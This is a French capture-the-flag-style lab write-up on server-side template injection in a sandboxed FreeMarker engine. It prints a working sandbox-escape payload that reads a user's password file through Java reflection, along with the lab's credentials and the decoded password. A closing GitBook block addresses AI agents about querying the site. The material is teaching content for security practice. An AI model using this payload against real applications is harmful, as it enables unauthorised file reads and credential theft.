> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-in-sandboxed-environment.md).

# SSTI dans un environnement sandbox

### Injection de modèles côté serveur dans un environnement bac à sable

Ce laboratoire utilise **Freemarker** le moteur de templates avec un bac à sable mal configuré, permettant une injection de modèles côté serveur. / Objectif : contourner le bac à sable pour lire le `my_password.txt` fichier dans le dossier personnel de Carlos, puis soumettez son contenu.

Identifiants fournis :/ `content-manager: C0nt3ntM4n4g3r`

#### 1. Vérifier l’exécution de code dans le modèle

Nous testons d’abord si le moteur interprète de nombreuses expressions Java dans le modèle :

```python
${7*7}
```

Le calcul est interprété, ce qui confirme la présence d’une SSTI avec exécution de code côté serveur.

<figure><img src="/files/c05a787db24d9c547ff01bd069b72ec4473beca7" alt=""><figcaption></figcaption></figure>

#### 2. Contourner le bac à sable et lire le fichier sensible

Pour sortir du bac à sable et accéder au système de fichiers, nous utilisons le `product` objet déjà présent dans le contexte du modèle et remontons jusqu’aux classes Java sous-jacentes pour lire directement le fichier de Carlos :

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

Cette expression renvoie le contenu du `my_password.txt` fichier sous forme de valeurs décimales (codes octets).

<figure><img src="/files/7c2115a21dfc842fc59f34fd1f89c0cb1baa30fd" alt=""><figcaption></figcaption></figure>

3/. Conversion des valeurs décimales en texte

La sortie obtenue est une série de nombres décimaux :

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

La conversion de ces valeurs en ASCII donne le mot de passe suivant :

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
